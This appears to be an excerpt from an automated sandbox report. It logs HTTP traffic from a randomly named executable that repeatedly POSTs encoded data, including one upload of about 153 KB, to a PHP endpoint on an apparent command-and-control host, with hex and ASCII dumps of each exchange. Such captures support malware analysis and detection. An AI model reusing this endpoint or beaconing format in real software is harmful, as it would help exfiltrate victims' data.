                                                                  Jan 13, 2025 13:10:54.580615997 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:53 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 28 26 35 0d 33 29 23 0a 3b 05 32 1d 2e 3c 0a 07 29 0c 30 17 2a 14 25 5e 2c 3d 20 5b 3e 2b 37 05 3c 0f 02 51 25 25 27 0e 2a 29 2b 51 07 11 39 14 26 5b 3a 5d 3c 33 22 12 24 21 2a 0a 22 0a 3f 04 3c 29 04 50 27 06 3f 0f 2b 5e 39 5b 3d 33 04 5c 26 2a 3e 18 28 02 21 07 3c 17 2f 5e 08 12 26 09 3d 31 2d 12 25 1e 19 11 20 2f 28 14 3d 06 2e 0d 23 2c 3e 50 2a 04 3d 58 27 3e 1c 01 26 2e 22 5c 26 1c 3b 0b 31 0c 35 11 27 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !(&53)#;2.<)0*%^,= [>+7<Q%%'*)+Q9&[:]<3"$!*"?<)P'?+^9[=3\&*>(!</^&=1-% /(=.#,>P*=X'>&."\&;15'9$P/,Q=ZW
                                                                  Jan 13, 2025 13:10:54.580848932 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:53 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 28 26 35 0d 33 29 23 0a 3b 05 32 1d 2e 3c 0a 07 29 0c 30 17 2a 14 25 5e 2c 3d 20 5b 3e 2b 37 05 3c 0f 02 51 25 25 27 0e 2a 29 2b 51 07 11 39 14 26 5b 3a 5d 3c 33 22 12 24 21 2a 0a 22 0a 3f 04 3c 29 04 50 27 06 3f 0f 2b 5e 39 5b 3d 33 04 5c 26 2a 3e 18 28 02 21 07 3c 17 2f 5e 08 12 26 09 3d 31 2d 12 25 1e 19 11 20 2f 28 14 3d 06 2e 0d 23 2c 3e 50 2a 04 3d 58 27 3e 1c 01 26 2e 22 5c 26 1c 3b 0b 31 0c 35 11 27 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !(&53)#;2.<)0*%^,= [>+7<Q%%'*)+Q9&[:]<3"$!*"?<)P'?+^9[=3\&*>(!</^&=1-% /(=.#,>P*=X'>&."\&;15'9$P/,Q=ZW
                                                                  Jan 13, 2025 13:10:54.581446886 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:53 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 28 26 35 0d 33 29 23 0a 3b 05 32 1d 2e 3c 0a 07 29 0c 30 17 2a 14 25 5e 2c 3d 20 5b 3e 2b 37 05 3c 0f 02 51 25 25 27 0e 2a 29 2b 51 07 11 39 14 26 5b 3a 5d 3c 33 22 12 24 21 2a 0a 22 0a 3f 04 3c 29 04 50 27 06 3f 0f 2b 5e 39 5b 3d 33 04 5c 26 2a 3e 18 28 02 21 07 3c 17 2f 5e 08 12 26 09 3d 31 2d 12 25 1e 19 11 20 2f 28 14 3d 06 2e 0d 23 2c 3e 50 2a 04 3d 58 27 3e 1c 01 26 2e 22 5c 26 1c 3b 0b 31 0c 35 11 27 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !(&53)#;2.<)0*%^,= [>+7<Q%%'*)+Q9&[:]<3"$!*"?<)P'?+^9[=3\&*>(!</^&=1-% /(=.#,>P*=X'>&."\&;15'9$P/,Q=ZW
                                                                  Jan 13, 2025 13:10:54.582101107 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:53 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 28 26 35 0d 33 29 23 0a 3b 05 32 1d 2e 3c 0a 07 29 0c 30 17 2a 14 25 5e 2c 3d 20 5b 3e 2b 37 05 3c 0f 02 51 25 25 27 0e 2a 29 2b 51 07 11 39 14 26 5b 3a 5d 3c 33 22 12 24 21 2a 0a 22 0a 3f 04 3c 29 04 50 27 06 3f 0f 2b 5e 39 5b 3d 33 04 5c 26 2a 3e 18 28 02 21 07 3c 17 2f 5e 08 12 26 09 3d 31 2d 12 25 1e 19 11 20 2f 28 14 3d 06 2e 0d 23 2c 3e 50 2a 04 3d 58 27 3e 1c 01 26 2e 22 5c 26 1c 3b 0b 31 0c 35 11 27 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !(&53)#;2.<)0*%^,= [>+7<Q%%'*)+Q9&[:]<3"$!*"?<)P'?+^9[=3\&*>(!</^&=1-% /(=.#,>P*=X'>&."\&;15'9$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  1192.168.2.44973737.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:52.800759077 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:10:53.157917023 CET2580OUTData Raw: 5a 58 5e 54 54 45 51 56 5a 5d 56 56 52 5c 50 58 50 59 55 59 57 50 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX^TTEQVZ]VVR\PXPYUYWPZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,U%["=1#E+)#'8!$.<T>,32<*3$<^(.'F!.\*1
                                                                  Jan 13, 2025 13:10:53.438255072 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:54.580729008 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:53 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:10:54.580782890 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:53 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:10:54.580935955 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 30 3a 35 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:10:53 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ
                                                                  Jan 13, 2025 13:10:54.581856012 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 30 3a 35 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:10:53 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  2192.168.2.44973837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:54.921469927 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:10:55.267093897 CET2580OUTData Raw: 5a 5d 5b 54 54 42 51 56 5a 5d 56 56 52 5d 50 5f 50 59 55 5e 57 57 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z][TTBQVZ]VVR]P_PYU^WWZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#], 2^%3++)3'50?*)'$"9+*<^$!^)>'F!.\*5
                                                                  Jan 13, 2025 13:10:55.578768969 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:55.711286068 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:55 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  3192.168.2.44973937.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:55.601914883 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1904
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:10:55.954674959 CET1904OUTData Raw: 5a 55 5e 53 51 45 54 5d 5a 5d 56 56 52 5f 50 5d 50 50 55 55 57 52 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZU^SQET]Z]VVR_P]PPUUWRZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#83!_"1>2U8):$$>?>9 R&">?'0^+'F!.\*
                                                                  Jan 13, 2025 13:10:56.261442900 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:56.393408060 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:56 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0c 2a 1c 29 0e 24 2a 3f 0c 3b 2f 32 5f 2e 3f 30 05 29 32 0a 5a 3d 04 21 16 2c 3e 27 05 28 38 34 59 3c 21 09 0f 27 35 28 56 2b 29 2b 51 07 11 3a 05 26 5b 32 5f 3f 1d 3e 1d 27 32 29 18 22 30 38 17 28 39 0f 0a 27 28 3c 56 3f 38 07 10 2a 23 22 58 26 29 29 40 3f 3c 3a 13 2b 2d 2f 5e 08 12 25 1b 3d 31 00 08 25 09 38 02 36 3f 0e 5b 28 3f 21 18 36 3f 39 0b 2a 3a 31 5f 30 2e 31 5f 24 58 32 11 32 0c 0e 10 26 22 21 5a 24 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: "*)$*?;/2_.?0)2Z=!,>'(84Y<!'5(V+)+Q:&[2_?>'2)"08(9'(<V?8*#"X&))@?<:+-/^%=1%86?[(?!6?9*:1_0.1_$X22&"!Z$9$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  4192.168.2.44974037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:56.115309000 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:10:56.470263958 CET2580OUTData Raw: 5a 5b 5e 52 54 45 54 56 5a 5d 56 56 52 5a 50 58 50 5f 55 59 57 54 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[^RTETVZ]VVRZPXP_UYWTZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/#\!9&?+:(38W'+*\<W02*^<9$1Z)>'F!.\*)
                                                                  Jan 13, 2025 13:10:56.744123936 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:56.873718023 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:56 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  5192.168.2.44974137.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:57.401386023 CET263OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 153484
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:10:57.751668930 CET12360OUTData Raw: 5f 5a 5b 52 51 47 54 53 5a 5d 56 56 52 5c 50 5b 50 5d 55 58 57 52 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[RQGTSZ]VVR\P[P]UXWRZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z80="!)$34+)?]3.%.#>:(39?_?$1?'F!.\*1
                                                                  Jan 13, 2025 13:10:57.756802082 CET2472OUTData Raw: 3e 2a 2f 35 13 00 36 19 31 57 29 05 26 25 32 34 28 02 0b 04 3f 5c 1e 05 37 3c 5c 1a 28 21 0b 50 25 22 02 21 36 3c 54 29 06 2d 3a 08 0f 2e 03 50 35 2d 51 06 0e 58 3e 3a 27 10 3d 05 3a 20 0e 1f 3d 31 36 25 38 3e 3b 07 28 21 2b 1f 3d 0b 24 58 3e 02
                                                                  Data Ascii: >*/561W)&%24(?\7<\(!P%"!6<T)-:.P5-QX>:'=: =16%8>;(!+=$X>)Z ,\<10?4 )7&>=:84-U09='V(;50)>9US4#$:0!05]:A_3*(92"*5?,*591A^?)=)"C)</ 31?2#$(&&4?/+$<\=</9QZWQ,/)919!
                                                                  Jan 13, 2025 13:10:57.756843090 CET12360OUTData Raw: 30 28 26 10 25 3e 2c 31 32 40 1e 1a 31 5b 22 1c 3a 06 22 2d 35 1c 13 2d 3b 06 01 14 00 2c 29 33 35 3f 57 59 31 56 1d 5b 2a 36 1b 5f 36 2e 09 20 2b 2c 11 2a 04 32 2f 2f 3d 0c 3b 55 00 32 06 10 00 2d 3a 38 0e 2e 1b 38 2d 57 0c 12 3d 20 0f 23 3b 55
                                                                  Data Ascii: 0(&%>,12@1[":"-5-;,)35?WY1V[*6_6. +,*2//=;U2-:8.8-W= #;UT5^Q84;>(94U;2^>"?X5[618#6!:1?05Z7#*/:1>^>!^=A""Y%0$=S3V#9W#3,_^>7V1'$524\?V0%%98;>?;$)U!V6@1(%'\=*/;T6;%R94*3_ '
                                                                  Jan 13, 2025 13:10:57.756861925 CET3708OUTData Raw: 02 55 2d 0b 30 33 5a 40 38 32 58 3b 34 06 0b 2d 0b 3b 09 57 20 16 22 3a 05 3f 21 2a 32 5c 22 25 37 3e 13 28 3c 03 0a 24 0c 58 00 08 33 55 3e 1f 3d 32 23 1a 3b 2c 3b 37 29 2e 07 16 36 00 26 17 03 5c 2e 02 24 2e 26 25 0d 10 07 5a 3e 0c 3f 0d 3e 0b
                                                                  Data Ascii: U-03Z@82X;4-;W ":?!*2\"%7>(<$X3U>=2#;,;7).6&\.$.&%Z>?>'%+&%0.):5X0[=([2&^7'C1(S$8>5\:-,8=T_&_1*$4895"8??,6/0?#!<2503V12:/>0&+Y)0&?<6;!)(=)S4)!"?]R-Z +2;%=6_1Y']P*01'7;
                                                                  Jan 13, 2025 13:10:57.756879091 CET3708OUTData Raw: 39 5e 1e 1b 08 3b 02 36 2e 24 55 1b 3a 20 2d 28 3c 30 24 1c 31 26 34 2b 3d 2b 07 3c 08 3e 27 12 32 3b 5c 26 3d 56 0f 04 3f 17 30 5e 0d 0e 3c 15 37 39 38 36 3b 3f 32 5b 34 29 2f 29 06 3b 17 5d 32 01 5b 31 08 27 33 11 38 2f 0b 1d 24 34 3e 52 3e 1c
                                                                  Data Ascii: 9^;6.$U: -(<0$1&4+=+<>'2;\&=V?0^<7986;?2[4)/);]2[1'38/$4>R>T*/*5Y(<;#3Y$+!2U8P,)>0 Z>%Z) 4U)X05<=T<)??T&^[4-1 ?(47:+*-23C!>U^3326?),)9-)[=-!:< ;:XS++0"[)=%_78!
                                                                  Jan 13, 2025 13:10:57.756896973 CET2472OUTData Raw: 01 2d 25 5d 3e 31 31 3f 35 0c 35 1a 30 0d 35 3a 3e 57 3b 02 05 2a 21 0b 3b 34 09 25 24 39 00 23 03 0a 17 07 0a 5d 18 08 33 03 31 21 20 5e 16 27 0e 3c 0b 1b 33 33 25 57 39 23 28 26 3b 3d 3f 3c 02 3e 51 51 21 33 0f 00 35 2a 22 0d 30 3f 3a 1e 0a 07
                                                                  Data Ascii: -%]>11?5505:>W;*!;4%$9#]31! ^'<33%W9#(&;=?<>QQ!35*"0?:T=W%>)0:#7:"?2*8WR(75#(\7@35!^X&_8Z4&X:0W6^06<</1S?9Y2(3:25(?@<*^2&+Z\> 6Y-=\*2$*\#.).2>75X[*;:=4?'"]
                                                                  Jan 13, 2025 13:10:57.761761904 CET2472OUTData Raw: 30 54 2d 28 30 17 2c 59 27 0e 37 07 33 06 57 1b 09 2c 3d 58 3d 37 23 20 3a 5f 26 00 3d 2c 2c 2c 39 35 20 13 07 3e 35 2d 3b 3a 32 28 34 1a 1f 55 3c 28 54 1f 2d 5a 2d 23 2c 2e 30 5c 36 31 2c 5f 3e 02 1c 07 02 3d 3f 2b 12 37 3f 38 31 0b 2f 08 3f 3a
                                                                  Data Ascii: 0T-(0,Y'73W,=X=7# :_&=,,,95 >5-;:2(4U<(T-Z-#,.0\61,_>=?+7?81/?:+#"+7-D?[/Z"U5$!#?-+(2884+21*]=*5?_>+S!83*R0>S#G#[#2Y*>392>.>I109>-93&%<Y#5TSYT#=\*4,2&)"("-5$5;95&>7X5/52^(026&=3> C59
                                                                  Jan 13, 2025 13:10:57.761791945 CET2472OUTData Raw: 3a 58 5e 3a 25 33 37 16 3c 32 2e 00 38 3d 09 2e 2d 1c 34 38 30 22 3c 3a 14 02 08 2d 2b 00 0e 5e 0e 3a 18 28 33 2d 31 09 26 36 3d 2c 34 06 23 32 3c 42 3b 2e 35 34 3b 38 3f 03 30 3c 3b 2f 3e 23 3d 56 03 3f 31 56 38 37 00 5c 5f 29 30 29 5a 31 3d 06
                                                                  Data Ascii: :X^:%37<2.8=.-480"<:-+^:(3-1&6=,4#2<B;.54;8?0<;/>#=V?1V87\_)0)Z1=5#' +Y^0**_Q)99$%X88A89,'PW5>>.2-5'6 X"2&5ZT.<]/3'4%P2/, _==?12?1S/[+_=/']+ $+2%%.4.?_ ,?-S>2=Q2W ##4>>&
                                                                  Jan 13, 2025 13:10:57.761806965 CET4944OUTData Raw: 39 37 37 1c 06 58 53 24 31 12 18 23 3d 13 07 25 35 55 29 28 0b 33 29 3d 0c 0c 01 0e 02 2a 0f 15 27 34 01 25 28 39 00 05 36 56 2d 5d 3b 06 0c 27 34 12 32 1d 26 04 24 04 3b 07 00 35 31 31 0c 35 39 2c 1a 01 3c 01 0a 5f 31 06 00 23 0f 06 3d 2c 29 26
                                                                  Data Ascii: 977XS$1#=%5U)(3)=*'4%(96V-];'42&$;51159,<_1#=,)&2<9Y-SZ15=02#<8?$&<]1=9(V:%(B.^#(>":#W-W<47\?9&S-6^/S.!^091$ 4%5[9C\(-):>[?<_11?T31,3]/3Z2,,*!;2"
                                                                  Jan 13, 2025 13:10:57.761866093 CET2472OUTData Raw: 05 5d 32 3d 0e 2f 26 29 24 3f 2d 5a 3e 23 28 54 0c 0a 36 1a 0b 32 2b 56 37 33 0d 5c 30 22 06 05 11 37 2e 07 2b 2d 16 19 3e 5d 22 38 33 56 0f 39 3c 26 0f 32 3e 2a 01 10 3d 37 33 04 0e 38 2f 3b 25 28 24 5c 03 0c 0b 5a 3d 30 03 01 0f 56 1e 20 29 2b
                                                                  Data Ascii: ]2=/&)$?-Z>#(T62+V73\0"7.+->]"83V9<&2>*=738/;%($\Z=0V )+^4*?/_'338\ <-?^-]6?.<=\69:Y C0>4!)6"^S3-=0\$3.)"Y0+7>7)A);0+(%',*?*1*?,=_21>:T'2^9\T;]>92BXR" ^^>> \P<
                                                                  Jan 13, 2025 13:10:58.031088114 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:58.300348043 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:58.745654106 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:58 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  6192.168.2.44974237.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:57.420599937 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:10:57.767628908 CET2580OUTData Raw: 5a 5c 5b 56 54 43 51 54 5a 5d 56 56 52 5e 50 5c 50 5f 55 58 57 55 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[VTCQTZ]VVR^P\P_UXWUZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ . :5.\%/):3$'>*)$R$!1+9_$W7+>'F!.\*9
                                                                  Jan 13, 2025 13:10:58.298288107 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:10:58.300400019 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:58 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:10:58.300472021 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:10:58 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  7192.168.2.44974537.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:10:58.481509924 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:10:58.829591990 CET2580OUTData Raw: 5f 59 5b 5f 54 48 51 57 5a 5d 56 56 52 51 50 53 50 5e 55 58 57 56 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
